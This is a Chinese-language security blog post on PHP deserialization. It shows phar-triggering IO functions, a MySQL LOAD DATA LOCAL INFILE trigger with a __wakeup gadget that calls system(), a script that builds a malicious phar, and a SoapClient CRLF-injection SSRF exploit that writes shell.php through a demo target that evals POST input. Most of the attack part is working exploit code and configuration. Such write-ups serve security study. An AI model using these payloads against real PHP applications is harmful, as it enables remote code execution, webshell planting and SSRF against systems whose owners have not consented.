phar提高篇
之前我写过一篇关于phar拓宽反序列化攻击面的文章,根据seebug的研究员的总结,大概有这些函数可以触发反序列化漏洞但是根据De1ta-zsx的研究,发现并不局限于文件函数,这是一个所有的和IO有关的函数都有可能触发的问题。
更多的可触发漏洞的函数
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstring
zip1
2
3
4
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
如果phar://
不能出现在头几个字符,可以在最前面加compress.bzip2://
orcompress.zlib://
mysql文件操作触发
mysql
的load data infile
语句从一个文本文件中以很高的速度读入一个表中,它同样可以触发反序列化漏洞,比如下面的代码1
2
3
4
5
6
7
8
9
10
11
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'mesboard', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/aaa\' INTO TABLE users LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
makphar.php
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
class A{
public $s='ls';
}
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('a','a');
$phar->setStub('<?php __HALT_COMPILER();?>');
$o=new A();
$phar->setMetaData($o);
$phar->stopBuffering();
还需要配置好mysql.cnf
1
2local-infile=1
secure_file_priv=''
php5.6
下:php7.0
:
只需要目标表是存在的就可以了,并没有其他要求,唯一可惜的就是不是默认配置
利用原生类Soap
利用php的原生类soap进行反序列化漏洞利用是前不久get到的一个新姿势。
什么是soap
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
php的soapClient类
php中的SoapClient
类可以创建soap数据报文,与wsdl接口进行交互。用法是这样的第一个参数是用来指明是否是wsdl模式,如果为null
,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求可以构造这个demo:exp.php
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$target = 'http://127.0.0.1/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
$c=unserialize(urldecode($aaa));
$c->ss();
test.php
:1
2
3
4
5
6
7
8
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
echo 'hi';
@$a=$_POST[1];
@eval($a);
}
这是一个模拟的可以造成SSRF的demo(改编自wupco),执行一下,发现shell.php
已经被成功写入内容。说一下原理,这个exp里面有几个点值得关注。
- 当反序列化之后执行一个
SoapClient
没有的函数时,会调用SoapClient
的__call
函数,发出请求 SoapClient
发出的请求包的user_agent
是完全可控的,结合CRLF注入可以构造一个完全可控的POST请求,因为POST请求最关键的Content-Length
和Content-Type
都在user_agent
之下- 只要目标进行了反序列化操作,这个exp可以进行SSRF
如果是GET请求,就简单得多,只需要构造好location就可以了。POST请求的效果:
Referer
https://xz.aliyun.com/t/2148#toc-0
https://xz.aliyun.com/t/2960
https://www.anquanke.com/post/id/153065#h2-5